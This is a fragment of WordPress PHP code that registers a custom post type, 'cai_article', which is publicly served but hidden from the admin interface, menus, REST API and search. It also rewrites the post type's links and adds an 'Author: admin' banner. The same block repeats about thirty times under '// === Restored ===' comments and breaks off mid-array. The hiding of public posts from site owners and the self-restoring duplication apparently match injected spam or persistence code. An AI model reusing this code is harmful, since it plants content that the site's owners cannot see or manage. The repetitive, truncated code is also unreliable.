add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
